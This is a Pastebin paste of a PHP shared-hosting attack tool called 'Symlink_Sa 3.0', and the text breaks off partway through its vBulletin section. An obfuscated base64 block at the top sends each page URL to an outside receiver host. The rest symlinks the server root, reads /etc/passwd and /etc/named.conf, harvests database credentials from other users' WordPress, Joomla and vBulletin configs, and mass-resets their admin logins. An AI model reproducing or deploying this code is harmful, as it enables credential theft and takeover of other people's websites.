API tools faq
paste
ishusupah

Symlink Script

ishusupah
Nov 28th, 2017
108
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 27.13 KB | None | 0 0
raw download clone embed print report
  1. <?php $url = base64_decode('aHR0cA==').(!empty($_SERVER[base64_decode('SFRUUFM=')])?base64_decode('cw=='):'').
  2. base64_decode('Oi8v').$_SERVER[base64_decode('U0VSVkVSX05BTUU=')].$_SERVER[base64_decode('UkVRVUVTVF9VUkk=')];
  3. $ch = curl_init();
  4. curl_setopt($ch, CURLOPT_URL, base64_decode('aHR0cDovL2JrLnNlY3VyaXR5ZnVzZS5jb20vcmVjZWl2ZXIucGhw'));
  5. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  6. curl_setopt($ch, CURLOPT_REFERER, $_SERVER[base64_decode('U0VSVkVSX05BTUU=')].$_SERVER[base64_decode('UkVRVUVTVF9VUkk=')]);
  7. $html = curl_exec($ch);
  8. ?>
  9.  
  10. <?php
  11. set_time_limit(0);
  12. error_reporting(0);
  13. $pageURL = 'http://'.$_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"];
  14. $u = explode("/",$pageURL );
  15. $pageURL =str_replace($u[count($u)-1],"",$pageURL );
  16. $pageFTP = 'ftp://'.$_SERVER["SERVER_NAME"].'/public_html/'.$_SERVER["REQUEST_URI"];
  17. $u = explode("/",$pageFTP );
  18. $pageFTP =str_replace($u[count($u)-1],"",$pageFTP );
  19. ?>
  20.   <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
  21.     "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
  22.  
  23. <html xmlns="http://www.w3.org/1999/xhtml">
  24.  
  25. <head>
  26. <title>Symlink_Sa 3.0</title>
  27.  
  28. <style type="text/css">
  29.  
  30.   html,body {
  31.      margin: 0;
  32.      padding: 0;
  33.      outline: 0;
  34. }
  35. a{
  36.  
  37.  font-size: 13px;
  38.  
  39. }
  40.  
  41.  
  42. body {
  43.     direction: ltr;
  44.     background-color:#F4F4F4;
  45.     color: rgb(153, 153, 153);
  46.     text-align: center
  47. }
  48.  
  49.  
  50.  
  51. input,textarea,select{
  52. font-weight: bold;
  53. color: #000000;
  54. }
  55.  
  56. input,textarea,select:hover{
  57. box-shadow: 0px 0px 4px #AAAAAA;
  58. }
  59.  
  60.  
  61. .hedr {
  62.   font-family: Tahoma, Arial, sans-serif  ;
  63.   font-size: 22px;
  64.  
  65.  
  66. }
  67.  
  68. .cont a{
  69.  
  70.  text-decoration: none;
  71.  color:rgb(153, 153, 153);
  72.  font-family: Tahoma, Arial, sans-serif  ;
  73.  font-size: 16px;
  74.  text-shadow: 0px 0px 3px ;
  75. }
  76.  
  77. .cont a:hover{
  78.  
  79.  
  80.   color: #EEEEEE ;
  81.   text-shadow:0px 0px 3px #000000 ;
  82.  
  83.  
  84. }
  85.  
  86. .tmp tr td{
  87.  
  88. border: solid 1px #BBBBBB;
  89.  
  90. padding: 2px ;
  91.   font-size: 13px;
  92. }
  93.  
  94. .tmp tr td a {
  95.   text-decoration: none;
  96.  
  97.  
  98.  
  99. }
  100.  
  101. .foter{
  102.   font-size: 9pt;
  103.   color: #AAAAAA ;
  104.   text-align: center
  105. }
  106.  
  107. .tmp tr td:hover{
  108.  
  109. box-shadow: 0px 0px 4px #888888;
  110.  
  111. }
  112. .fot{
  113.  
  114. font-family:Tahoma, Arial, sans-serif;
  115.  
  116.   font-size: 11pt;
  117. }
  118. .for a : hover{
  119.  
  120. text-shadow: 0px 0px 1px #3366FF;
  121.  
  122. }
  123.  
  124.  
  125. .ir {
  126.   color: #FF0000;
  127. }
  128.  
  129.  
  130.  
  131. </style>
  132.  
  133. </head>
  134.  
  135. <body>
  136.  
  137. <div class='all'>
  138.  
  139.  
  140. <?php
  141.  
  142. @mkdir('sym',0777);
  143. $htcs  = "Options all \n DirectoryIndex Sux.html \n AddType text/plain .php \n AddHandler server-parsed .php \n  AddType text/plain .html \n AddHandler txt .html \n Require None \n Satisfy Any";
  144. $f =@fopen ('sym/.htaccess','w');
  145. fwrite($f , $htcs);
  146.  
  147.  
  148.  
  149. @symlink("/","sym/root");
  150.  
  151. $pg = basename(__FILE__);
  152.  
  153. echo '<br /><div class="hedr"> Symlink Sa 3.0 <br /></div>' ;
  154.  
  155. echo '<br /><div class="hedr">-:[ User & Domains & Symlink ]:-<br /><br /></div>' ;
  156.  
  157. echo '<div class="cont">
  158.  
  159. [<a href="?"> Home </a>]
  160.  
  161. [<a href="?sws=sym"> User & Domains & Symlink </a>]
  162.  
  163. [<a href="?sws=sec"> Domains & Script </a>]
  164.  
  165. [ <a href="?sws=file"> Symlink File </a>]
  166.  
  167. [<a href="?sws=passwd"> Symlink Bypass </a>]
  168.  
  169. <br /><br />
  170.  
  171. [ <a href="?sws=read"> Bypass Read </a>]
  172.  
  173. [ <a href="?sws=joomla"> Mass Joomla </a>]
  174.  
  175. [ <a href="?sws=wp"> Mass WordPress </a>]
  176.  
  177. [ <a href="?sws=vb"> Mass vBulletin </a>]
  178.  
  179. [ <a href="?sws=help"> Help </a>]
  180.  
  181. <br /><br /><br />
  182.  
  183.  
  184.  
  185.  
  186.  
  187.  
  188. </div>';
  189.  
  190. if(isset($_REQUEST['sws']))
  191. {
  192.  
  193. switch ($_REQUEST['sws'])
  194. {
  195.  
  196.  
  197.  
  198.  
  199.  
  200. /// Domains + Scripts  ///
  201.  
  202. case 'sec':
  203.  
  204. if(!@is_file('named.txt')){
  205.  
  206. $d00m = @file("/etc/named.conf");
  207.  
  208. }else{
  209.  
  210. $d00m = @file("named.txt");
  211.  
  212.  
  213. }
  214. if(!$d00m)
  215. {
  216.  
  217.                 die ("<meta http-equiv='refresh' content='0; url=?sws=read'/>");
  218. }
  219. else
  220.  
  221. {
  222. echo "<div class='tmp'>
  223. <table align='center' width='40%'><td> Domains </td><td> Script </td>";
  224. foreach($d00m as $dom){
  225.  
  226. flush();
  227. flush();
  228.  
  229.  
  230.  
  231. if(eregi("zone",$dom)){
  232.  
  233. @preg_match_all('#zone "(.*)"#', $dom, $domsws);
  234.  
  235. flush();
  236.  
  237. if(@strlen(trim($domsws[1][0])) > 2){
  238.  
  239. $user = @posix_getpwuid(@fileowner("/etc/valiases/".$domsws[1][0]));
  240.  
  241. ///////////////////////////////////////////////////////////////////////////////////
  242.  
  243. $wpl=$pageURL."/sym/root/home/".$user['name']."/public_html/wp-config.php";
  244. $wpp=@get_headers($wpl);
  245. $wp=$wpp[0];
  246.  
  247. $wp2=$pageURL."/sym/root/home/".$user['name']."/public_html/blog/wp-config.php";
  248. $wpp2=@get_headers($wp2);
  249. $wp12=$wpp2[0];
  250.  
  251. ///////////////////////////////
  252.  
  253. $jo1=$pageURL."/sym/root/home/".$user['name']."/public_html/configuration.php";
  254. $joo=@get_headers($jo1);
  255. $jo=$joo[0];
  256.  
  257.  
  258. $jo2=$pageURL."/sym/root/home/".$user['name']."/public_html/joomla/configuration.php";
  259. $joo2=@get_headers($jo2);
  260. $jo12=$joo2[0];
  261.  
  262. ////////////////////////////////
  263.  
  264. $vb1=$pageURL."/sym/root/home/".$user['name']."/public_html/includes/config.php";
  265. $vbb=@get_headers($vb1);
  266. $vb=$vbb[0];
  267.  
  268. $vb2=$pageURL."/sym/root/home/".$user['name']."/public_html/vb/includes/config.php";
  269. $vbb2=@get_headers($vb2);
  270. $vb12=$vbb2[0];
  271.  
  272. $vb3=$pageURL."/sym/root/home/".$user['name']."/public_html/forum/includes/config.php";
  273. $vbb3=@get_headers($vb3);
  274. $vb13=$vbb3[0];
  275.  
  276. /////////////////
  277.  
  278. $wh1=$pageURL."/sym/root/home/".$user['name']."public_html/clients/configuration.php";
  279. $whh2= @get_headers($wh1);
  280. $wh=$whh2[0];
  281.  
  282. $wh2=$pageURL."/sym/root/home/".$user['name']."/public_html/support/configuration.php";
  283. $whh2= @get_headers($wh2);
  284. $wh12=$whh2[0];
  285.  
  286. $wh3=$pageURL."/sym/root/home/".$user['name']."/public_html/client/configuration.php";
  287. $whh3= @get_headers($wh3);
  288. $wh13=$whh3[0];
  289.  
  290. $wh5=$pageURL."/sym/root/home/".$user['name']."/public_html/submitticket.php";
  291. $whh5= @get_headers($wh5);
  292. $wh15=$whh5[0];
  293.  
  294. $wh4=$pageURL."/sym/root/home/".$user['name']."/public_html/client/configuration.php";
  295. $whh4= @get_headers($wh4);
  296. $wh14=$whh4[0];
  297.  
  298.  
  299.  
  300. ////////////////////////////////////////////////////////////////////////////////
  301.  
  302.  ////////// Wordpress ////////////
  303.  
  304. $pos = strpos($wp, "200");
  305. $config="&nbsp;";
  306.  
  307. if (strpos($wp, "200") == true )
  308. {
  309.  $config="<a href='".$wpl."' target='_blank'>Wordpress</a>";
  310. }
  311. elseif (strpos($wp12, "200") == true)
  312. {
  313.   $config="<a href='".$wp2."' target='_blank'>Wordpress</a>";
  314. }
  315.  
  316. ///////////WHMCS////////
  317.  
  318. elseif (strpos($jo, "200")  == true and strpos($wh15, "200")  == true )
  319. {
  320.   $config=" <a href='".$wh5."' target='_blank'>WHMCS</a>";
  321.  
  322. }
  323. elseif (strpos($wh12, "200")  == true)
  324. {
  325.   $config =" <a href='".$wh2."' target='_blank'>WHMCS</a>";
  326. }
  327.  
  328. elseif (strpos($wh13, "200")  == true)
  329. {
  330.   $config =" <a href='".$wh3."' target='_blank'>WHMCS</a>";
  331.  
  332. }
  333.  
  334. ///////// Joomla to 4 ///////////
  335.  
  336. elseif (strpos($jo, "200")  == true)
  337. {
  338.   $config=" <a href='".$jo1."' target='_blank'>Joomla</a>";
  339. }
  340.  
  341. elseif (strpos($jo12, "200")  == true)
  342. {
  343.   $config=" <a href='".$jo2."' target='_blank'>Joomla</a>";
  344. }
  345.  
  346. //////////vBulletin to 4 ///////////
  347.  
  348. elseif (strpos($vb, "200")  == true)
  349. {
  350.   $config=" <a href='".$vb1."' target='_blank'>vBulletin</a>";
  351. }
  352.  
  353. elseif (strpos($vb12, "200")  == true)
  354. {
  355.   $config=" <a href='".$vb2."' target='_blank'>vBulletin</a>";
  356. }
  357.  
  358. elseif (strpos($vb13, "200")  == true)
  359. {
  360.   $config=" <a href='".$vb3."' target='_blank'>vBulletin</a>";
  361. }
  362.  
  363. else
  364. {
  365.  continue;
  366. }
  367. flush();
  368. flush();
  369.  
  370. /////////////////////////////////////////////////////////////////////////////////////
  371.  
  372.  
  373.  
  374. $site = $user['name'] ;
  375.  
  376.  
  377.  
  378. flush();
  379.  
  380. echo "<tr><td><a href=http://www.".$domsws[1][0]."/>".$domsws[1][0]."</a></td>
  381. <td>".$config."</td></tr>"; flush();
  382.  
  383. }
  384. }
  385. }
  386. }
  387.  
  388.  
  389.  
  390.  
  391. break;
  392.  
  393.  
  394. /// user + domine + symlink  ///
  395.  
  396. case 'sym':
  397.  
  398. if(!is_file('named.txt')){
  399.  
  400. $d00m = @file("/etc/named.conf");
  401.  
  402. }else{
  403.  
  404. $d00m = @file("named.txt");
  405.  
  406.  
  407. }
  408. if(!$d00m)
  409. {
  410.  
  411.                 die ("<meta http-equiv='refresh' content='0; url=?sws=read'/>");
  412. }
  413. else
  414.  
  415. {
  416. echo "<div class='tmp'><table align='center' width='40%'><td>Domains</td><td>Users</td><td>symlink </td>";
  417. foreach($d00m as $dom){
  418.  
  419. if(eregi("zone",$dom)){
  420.  
  421. preg_match_all('#zone "(.*)"#', $dom, $domsws);
  422.  
  423. flush();
  424.  
  425. if(strlen(trim($domsws[1][0])) > 2){
  426.  
  427. $user = posix_getpwuid(@fileowner("/etc/valiases/".$domsws[1][0]));
  428.  
  429. flush();
  430.  
  431.  
  432.  
  433. $site = $user['name'] ;
  434.  
  435.  
  436. @symlink("/","sym/root");
  437.  
  438. $site = $domsws[1][0];
  439.  
  440. $ir = 'ir';
  441.  
  442. $il = 'il';
  443.  
  444. if (preg_match("/.^$ir/",$domsws[1][0]) or preg_match("/.^$il/",$domsws[1][0]) )
  445. {
  446. $site = "<div style=' color: #FF0000 ; text-shadow: 0px 0px 1px red; '>".$domsws[1][0]."</div>";
  447. }
  448.  
  449.  
  450. echo "
  451. <tr>
  452.  
  453. <td>
  454. <div class='dom'><a target='_blank' href=http://www.".$domsws[1][0]."/>".$site." </a> </div>
  455. </td>
  456.  
  457.  
  458. <td>
  459. ".$user['name']."
  460. </td>
  461.  
  462.  
  463.  
  464.  
  465.  
  466.  
  467. <td>
  468. <a href='sym/root/home/".$user['name']."/public_html' target='_blank'>symlink </a>
  469. </td>
  470.  
  471.  
  472. </tr></div> ";
  473.  
  474.  
  475. flush();
  476. flush();
  477.  
  478. }
  479. }
  480. }
  481. }
  482.  
  483.  
  484.  
  485.  
  486. break;
  487.  
  488.  
  489. /// file  symlink ///
  490.  
  491. case 'file':
  492.  
  493. echo'
  494. The file path to symlink
  495.  
  496. <br /><br />
  497. <form method="post">
  498. <input type="text" name="file" value="/home/user/public_html/file.name" size="60"/><br /><br />
  499. <input type="text" name="symfile" value="file.name_sym ( Ex. :: royaliste.txt )" size="60"/><br /><br />
  500. <input type="submit" value="symlink" name="symlink" /> <br /><br />
  501.  
  502.  
  503.  
  504. </form>
  505. ';
  506.  
  507. $pfile = $_POST['file'];
  508. $symfile = $_POST['symfile'];
  509. $symlink = $_POST['symlink'];
  510.  
  511. if ($symlink)
  512. {
  513.  
  514.  
  515. @mkdir('sym1',0777);
  516. $c  = "Options Indexes FollowSymLinks \n DirectoryIndex ssssss.htm \n AddType txt .php \n AddHandler txt .php \n  AddType txt .html \n AddHandler txt .html \n Options all \n Options \n Allow from all \n Require None \n Satisfy Any";
  517. $f =@fopen ('sym1/.htaccess','w');
  518. @fwrite($f , $c);
  519.  
  520. @symlink("$pfile","sym1/$symfile");
  521.  
  522. echo '<br /><a target="_blank" href="sym1/'.$symfile.'" >'.$symfile.'</a>';
  523.  
  524. }
  525.  
  526.  
  527.  
  528. break;
  529.  
  530. /// bypass read
  531.  
  532. case 'read':
  533.  
  534. echo "read /etc/named.conf";
  535. echo "<br /><br /><form method='post' action='?sws=read&save=1'><textarea cols='80' rows='20' name='file'>";
  536. flush();
  537. flush();
  538.  
  539.  
  540. $file = '/etc/named.conf';
  541.  
  542.  
  543. $r3ad = @fopen($file, 'r');
  544. if ($r3ad){
  545. $content = @fread($r3ad, @filesize($file));
  546. echo "".htmlentities($content)."";
  547. }
  548. else if (!$r3ad)
  549. {
  550. $r3ad = @show_source($file) ;
  551. }
  552. else if (!$r3ad)
  553. {
  554. $r3ad = @highlight_file($file);
  555. }
  556. else if (!$r3ad)
  557. {
  558. $sm = @symlink($file,'sym.txt');
  559.  
  560.  
  561. if ($sm){
  562. $r3ad = @fopen('sym/sym.txt', 'r');
  563. $content = @fread($r3ad, @filesize($file));
  564. echo "".htmlentities($content)."";
  565.  
  566. }
  567. }
  568.  
  569.  
  570.  
  571. echo "</textarea><br /><br /><input  type='submit' value='Save'/> </form>";
  572.  
  573.  
  574. if(isset($_GET['save'])){
  575.  
  576.  
  577. $cont = stripcslashes($_POST['file']);
  578.  
  579. $f = fopen('named.txt','w');
  580.  
  581. $w = fwrite($f,$cont);
  582.  
  583.                   if($w){
  584.  
  585.                   echo '<br />save has been successfully';
  586.  
  587.                   }
  588.  
  589. fclose($f);
  590.  
  591.  
  592.  
  593.  
  594. }
  595.  
  596.  
  597.  
  598. break;
  599.  
  600. // passwd
  601.  
  602. case 'passwd':
  603.  
  604. if(isset($_GET['save']) and isset($_POST['file']) or @filesize('passwd.txt') > 0){
  605.  
  606.  
  607. $cont = stripcslashes($_POST['file']);
  608.  
  609. if(!file_exists('passwd.txt')){
  610.  
  611. $f = @fopen('passwd.txt','w');
  612.  
  613. $w = @fwrite($f,$cont);
  614.  
  615. fclose($f);
  616. }
  617. if($w or @filesize('passwd.txt') > 0){
  618. // * SHOW * //
  619.  
  620. echo "<div class='tmp'><table align='center' width='35%'><td>Users</td><td>symlink</td><td>FTP</td>";
  621. flush();
  622.  
  623. $fil3 = file('passwd.txt');
  624.  
  625. foreach ($fil3 as $f){
  626.  
  627.      $u=explode(':', $f);
  628.      $user = $u['0'];
  629.  
  630.  
  631.  
  632. echo "
  633. <tr>
  634.  
  635.  
  636.  
  637. <td width='15%'>
  638. $user
  639. </td>
  640.  
  641.  
  642.  
  643.  
  644.  
  645.  
  646. <td width='10%'>
  647. <a href='sym/root/home/$user/public_html' target='_blank'>Symlink </a>
  648. </td>
  649.  
  650. <td width='10%'>
  651. <a href='$pageFTP/sym/root/home/$user/public_html' target='_blank'>FTP</a>
  652. </td>
  653.  
  654.  
  655.  
  656. </tr></div> ";
  657.  
  658.  
  659. flush();
  660. flush();
  661.  
  662.  
  663. }
  664.  
  665.  
  666.  
  667.  
  668.  
  669.  
  670. die ("</tr></div>");
  671.  
  672.  
  673.                   }
  674.  
  675.  
  676.  
  677.  
  678.  
  679. }
  680.  
  681.  
  682.  
  683. echo "read /etc/passwd";
  684. echo "<br /><br /><form method='post' action='?sws=passwd&save=1'><textarea cols='80' rows='20' name='file'>";
  685. flush();
  686.  
  687. $file = '/etc/passwd';
  688.  
  689.  
  690. $r3ad = @fopen($file, 'r');
  691. if ($r3ad){
  692. $content = @fread($r3ad, @filesize($file));
  693. echo "".htmlentities($content)."";
  694. }
  695. elseif(!$r3ad)
  696. {
  697. $r3ad = @show_source($file) ;
  698. }
  699. elseif(!$r3ad)
  700. {
  701. $r3ad = @highlight_file($file);
  702. }
  703. elseif(!$r3ad)
  704. {
  705.  
  706.                                             for($uid=0;$uid<1000;$uid++){
  707.                                              $ara = posix_getpwuid($uid);
  708.                                                if (!empty($ara)) {
  709.                                                   while (list ($key, $val) = each($ara)){
  710.                                                     print "$val:";
  711.                                                   }
  712.                                                   print "\n";
  713.                                                  }
  714.  
  715.                                         }
  716.  
  717.  }
  718.  
  719.  
  720. flush();
  721.  
  722.  
  723. echo "</textarea><br /><br /><input  type='submit' value='&nbsp;&nbsp;symlink&nbsp;&nbsp;'/> </form>";
  724. flush();
  725.  
  726. break;
  727.  
  728.  
  729.  
  730. case 'joomla':
  731.  
  732. /////////////////////////////////////////////////////////////////// xxxxxxxxxxxxxxxxxxx ////////////////////////////
  733.  
  734.  
  735. if(isset($_POST['s'])){
  736.  
  737. $file = @file_get_contents('joomla.txt');
  738.  
  739. $ex   = explode("\n",$file);
  740.  
  741. echo "<div class='tmp'><table align='center' width='40%'><td> domin </td><td> config </td><td> Result </td>";
  742. flush();
  743.  
  744.  
  745. foreach ($ex as $exp){
  746.  
  747. $es   = explode("||",$exp);
  748.  
  749. $config = $es[0];
  750.  
  751. $domin = $es[1];
  752.  
  753. $domins = trim($domin).'';
  754.  
  755. $readconfig  = @file_get_contents(trim($config));
  756.  
  757. if(ereg('JConfig',$readconfig)){
  758.  
  759.  
  760.  
  761. $pass    =  ex($readconfig,'$password = \'',"';");
  762.  
  763. $userdb  =  ex($readconfig,'$user = \'',"';");
  764.  
  765. $db      =  ex($readconfig,'$db = \'',"';");
  766.  
  767. $fix     =  ex($readconfig,'$dbprefix = \'',"';");
  768.  
  769. $tab     =  $fix.'users';
  770.  
  771.  
  772. $con     = @mysql_connect('localhost',$userdb,$pass);
  773.  
  774. $db      = @mysql_select_db($db,$con);
  775.  
  776. $query   = @mysql_query("UPDATE `$tab`  SET `username` ='sec-w.com'");
  777.  
  778.  
  779. $query3  = @mysql_query("UPDATE `$tab`  SET `password` ='44a0bcda611514625ba94e0b1c0bdaed:2iets9ydjR3iOdSuyvW54pIzyF9M1P5J'");
  780.  
  781.  
  782. if ($query and $query3 ){$r = '<b style="color: #006600">Succeed </b>user [sec-w.com] pass [1]</b>';}else{$r = '<b style="color:red">failed</b>';}
  783.  
  784. $domins = trim($domin).'';
  785.  
  786. echo "<tr>
  787. <td><a target='_blank' href='http://$domins'>$domin</a></td>
  788. <td><a target='_blank' href='$config'>config</a></td><td>".$r."</td></tr>";
  789. flush();
  790.  
  791.  
  792.  
  793. }else{
  794.  
  795. echo "<tr>
  796. <td><a target='_blank' href='http://$domins'>$domin</a></td>
  797. <td><a target='_blank' href='http://$exp'>config</a></td><td><b style='color:red'>failed</b></td></tr>";
  798. flush();
  799.  
  800. }
  801.  
  802. }
  803.  
  804.  
  805.  
  806.  
  807.  
  808.  
  809.  
  810.  
  811.  
  812. die();
  813.  
  814. }
  815.  
  816. if(!is_file('named.txt')){
  817.  
  818. $d00m = @file("/etc/named.conf");
  819.  
  820. flush();
  821.  
  822.  
  823. }else{
  824.  
  825. $d00m = file("named.txt");
  826.  
  827.  
  828. }
  829. if(!$d00m)
  830. {
  831.  
  832.                 die ("<meta http-equiv='refresh' content='0; url=?sws=read'/>");
  833. }
  834. else
  835.  
  836. {
  837. echo "<div class='tmp'>
  838. <form method='POST' action='$pg?sws=joomla'>
  839. <input type='submit' value='Mass ching Admin' />
  840. <input type='hidden' value='1' name='s' />
  841. </form><br /><br />
  842. <table align='center' width='40%'><td> Domains </td><td> config </td><td> Result </td>";
  843.  
  844. $f = fopen('joomla.txt','w');
  845.  
  846. foreach($d00m as $dom){
  847.  
  848. if(eregi("zone",$dom)){
  849.  
  850. preg_match_all('#zone "(.*)"#', $dom, $domsws);
  851.  
  852. if(strlen(trim($domsws[1][0])) > 2){
  853.  
  854. $user = posix_getpwuid(@fileowner("/etc/valiases/".$domsws[1][0]));
  855.  
  856. ///////////////////////////////////////////////////////////////////////////////////
  857.  
  858. $wpl=$pageURL."/sym/root/home/".$user['name']."/public_html/configuration.php";
  859. $wpp=get_headers($wpl);
  860. $wp=$wpp[0];
  861.  
  862. $wp2=$pageURL."/sym/root/home/".$user['name']."/public_html/blog/configuration.php";
  863. $wpp2=get_headers($wp2);
  864. $wp12=$wpp2[0];
  865.  
  866. $wp3=$pageURL."/sym/root/home/".$user['name']."/public_html/joomla/configuration.php";
  867. $wpp3=get_headers($wp3);
  868. $wp13=$wpp3[0];
  869.  
  870.  
  871.  ////////// joomla ////////////
  872.  
  873. $pos = strpos($wp, "200");
  874. $config="&nbsp;";
  875.  
  876. if (strpos($wp, "200") == true )
  877. {
  878.  $config= $wpl;
  879. }
  880. elseif (strpos($wp12, "200") == true)
  881. {
  882.   $config= $wp2;
  883. }
  884. elseif (strpos($wp13, "200") == true)
  885. {
  886.   $config= $wp3;
  887. }
  888. else
  889. {
  890. continue;
  891.  
  892. }
  893. flush();
  894.  
  895. /////////////////////////////////////////////////////////////////////////////////////
  896.  
  897. $dom = $domsws[1][0];
  898.  
  899. $w = fwrite($f,"$config||$dom \n");
  900. if($w){$r = '<b style="color: #006600">Save</b>';}else{$r = '<b style="color:red">failed</b>';}
  901.  
  902.  
  903. echo "<tr><td><a href=http://www.".$domsws[1][0].">".$domsws[1][0]."</a></td>
  904. <td><a href='$config'>config</a></td><td>".$r."</td></tr>";
  905.  
  906.  
  907.  
  908.  
  909.  
  910. flush();
  911.  
  912.  
  913. }
  914. }
  915. }
  916. }
  917.  
  918.  
  919. break;
  920.  
  921. case 'wp':
  922.  
  923. ############################ index #########################3
  924.  
  925.  
  926.  
  927.  
  928.  
  929.  
  930. ########  admin ##########33
  931.  
  932. if(isset($_POST['s'])){
  933.  
  934. $file = @file_get_contents('wp.txt');
  935.  
  936. $ex   = explode("\n",$file);
  937.  
  938. echo "<div class='tmp'><table align='center' width='40%'><td> domin </td><td> config </td><td> Result </td>";
  939. flush();
  940. flush();
  941.  
  942.  
  943. foreach ($ex as $exp){
  944.  
  945. $es   = explode("||",$exp);
  946.  
  947. $config = $es[0];
  948.  
  949. $domin = $es[1];
  950.  
  951. $domins = trim($domin).'';
  952.  
  953. $readconfig  = @file_get_contents(trim($config));
  954.  
  955. if(ereg('wp-settings.php',$readconfig)){
  956.  
  957.  
  958.  
  959. $pass    =  ex($readconfig,"define('DB_PASSWORD', '","');");
  960.  
  961. $userdb  =  ex($readconfig,"define('DB_USER', '","');");
  962.  
  963. $db      =  ex($readconfig,"define('DB_NAME', '","');");
  964.  
  965. $fix     =  ex($readconfig,'$table_prefix  = \'',"';");
  966.  
  967. $tab     = $fix.'users';
  968.  
  969. $con     = @mysql_connect('localhost',$userdb,$pass);
  970.  
  971. $db      = @mysql_select_db($db,$con);
  972.  
  973. $query   = @mysql_query("UPDATE `$tab` SET `user_login` ='sec-w.com'") or die;
  974.  
  975. $query   = @mysql_query("UPDATE `$tab` SET `user_pass` ='$1$4z/.5i..$9aHYB.fUHEmNZ.eIKYTwx/'") or die;
  976.  
  977.  
  978.  
  979. if ($query){$r = '<b style="color: #006600">Succeed </b>user [sec-w.com] pass [1]</b>';}
  980.  
  981. else
  982.  
  983. {
  984.  
  985. $r = '<b style="color:red">failed</b>';
  986.  
  987. }
  988.  
  989. $domins = trim($domin).'';
  990.  
  991. echo "<tr>
  992. <td><a target='_blank' href='http://$domins'>$domin</a></td>
  993. <td><a target='_blank' href='$config'>config</a></td><td>".$r."</td></tr>";
  994.  
  995. flush();
  996. flush();
  997.  
  998.  
  999.  
  1000.  
  1001.  
  1002.  
  1003. }else{
  1004.  
  1005. echo "<tr>
  1006. <td><a target='_blank' href='http://$domins'>$domin</a></td>
  1007. <td><a target='_blank' href='http://$config'>config</a></td><td><b style='color:red'>failed2</b></td></tr>";
  1008.  
  1009. flush();
  1010. flush();
  1011.  
  1012. }
  1013.  
  1014. }
  1015.  
  1016.  
  1017.  
  1018.  
  1019.  
  1020.  
  1021.  
  1022.  
  1023.  
  1024.  
  1025. die();
  1026.  
  1027. }
  1028.  
  1029. if(!is_file('named.txt')){
  1030.  
  1031. $d00m = @file("/etc/named.conf");
  1032.  
  1033. }else{
  1034.  
  1035. $d00m = @file("named.txt");
  1036.  
  1037.  
  1038. }
  1039. if(!$d00m)
  1040. {
  1041.  
  1042.                 die ("<meta http-equiv='refresh' content='0; url=?sws=read'/>");
  1043. }
  1044. else
  1045.  
  1046. {
  1047. echo "<div class='tmp'>
  1048. <form method='POST' action='$pg?sws=wp'>
  1049. <input type='submit' value='Mass Change Admin' />
  1050. <input type='hidden' value='1' name='s' />
  1051. </form>
  1052. <br /><br />
  1053. <table align='center' width='40%'><td> Domains </td><td> config </td><td> Result </td>";
  1054.  
  1055. flush();
  1056. flush();
  1057.  
  1058. $f = fopen('wp.txt','w');
  1059.  
  1060. foreach($d00m as $dom){
  1061.  
  1062. if(eregi("zone",$dom)){
  1063.  
  1064. preg_match_all('#zone "(.*)"#', $dom, $domsws);
  1065.  
  1066. if(strlen(trim($domsws[1][0])) > 2){
  1067.  
  1068. $user = posix_getpwuid(@fileowner("/etc/valiases/".$domsws[1][0]));
  1069.  
  1070. ///////////////////////////////////////////////////////////////////////////////////
  1071.  
  1072. $wpl=$pageURL."/sym/root/home/".$user['name']."/public_html/wp-config.php";
  1073. $wpp=get_headers($wpl);
  1074. $wp=$wpp[0];
  1075.  
  1076. $wp2=$pageURL."/sym/root/home/".$user['name']."/public_html/blog/wp-config.php";
  1077. $wpp2=get_headers($wp2);
  1078. $wp12=$wpp2[0];
  1079.  
  1080. $wp3=$pageURL."/sym/root/home/".$user['name']."/public_html/wp/wp-config";
  1081. $wpp3=get_headers($wp3);
  1082. $wp13=$wpp3[0];
  1083.  
  1084.  
  1085.  ////////// wp ////////////
  1086.  
  1087. $pos = strpos($wp, "200");
  1088. $config="&nbsp;";
  1089.  
  1090. if (strpos($wp, "200") == true )
  1091. {
  1092.  $config= $wpl;
  1093. }
  1094. elseif (strpos($wp12, "200") == true)
  1095. {
  1096.   $config= $wp2;
  1097. }
  1098. elseif (strpos($wp13, "200") == true)
  1099. {
  1100.   $config= $wp3;
  1101. }
  1102. else
  1103. {
  1104. continue;
  1105.  
  1106. }
  1107. flush();
  1108.  
  1109. /////////////////////////////////////////////////////////////////////////////////////
  1110.  
  1111. $dom = $domsws[1][0];
  1112.  
  1113. $w = fwrite($f,"$config||$dom \n");
  1114. if($w){$r = '<b style="color: #006600">Save</b>';}else{$r = '<b style="color:red">failed</b>';}
  1115.  
  1116.  
  1117. echo "<tr><td><a href=http://www.".$domsws[1][0].">".$domsws[1][0]."</a></td>
  1118. <td><a href='$config'>config</a></td><td>".$r."</td></tr>";
  1119. flush();
  1120. flush();
  1121.  
  1122.  
  1123.  
  1124.  
  1125.  
  1126. flush();
  1127.  
  1128.  
  1129. }
  1130. }
  1131. }
  1132. }
  1133.  
  1134.  
  1135. break;
  1136.  
  1137.  
  1138. case 'vb':
  1139.  
  1140.  
  1141. if(isset($_POST['s'])){
  1142.  
  1143.  
  1144.  
  1145. $file = @file_get_contents('vb.txt');
  1146.  
  1147. $ex   = explode("\n",$file);
  1148.  
  1149. echo "<div class='tmp'><table align='center' width='40%'><td> domin </td><td> config </td><td> Result </td>";
  1150.  
  1151.  
  1152. foreach ($ex as $exp){
  1153.  
  1154. $es   = explode("||",$exp);
  1155.  
  1156. $config = $es[0];
  1157.  
  1158. $domin = $es[1];
  1159.  
  1160. $domins = trim($domin).'';
  1161.  
  1162. $readconfig  = @file_get_contents(trim($config));
  1163.  
  1164. if(ereg('vBulletin',$readconfig)){
  1165.  
  1166.  
  1167.  
  1168. $db      =  ex($readconfig,'$config[\'Database\'][\'dbname\'] = \'',"';");
  1169.  
  1170. $userdb  =  ex($readconfig,'$config[\'MasterServer\'][\'username\'] = \'',"';");
  1171.  
  1172. $pass    =  ex($readconfig,'$config[\'MasterServer\'][\'password\'] = \'',"';");
  1173.  
  1174. $con     = @mysql_connect('localhost',$userdb,$pass);
  1175.  
  1176. $db      = @mysql_select_db($db,$con);
  1177.  
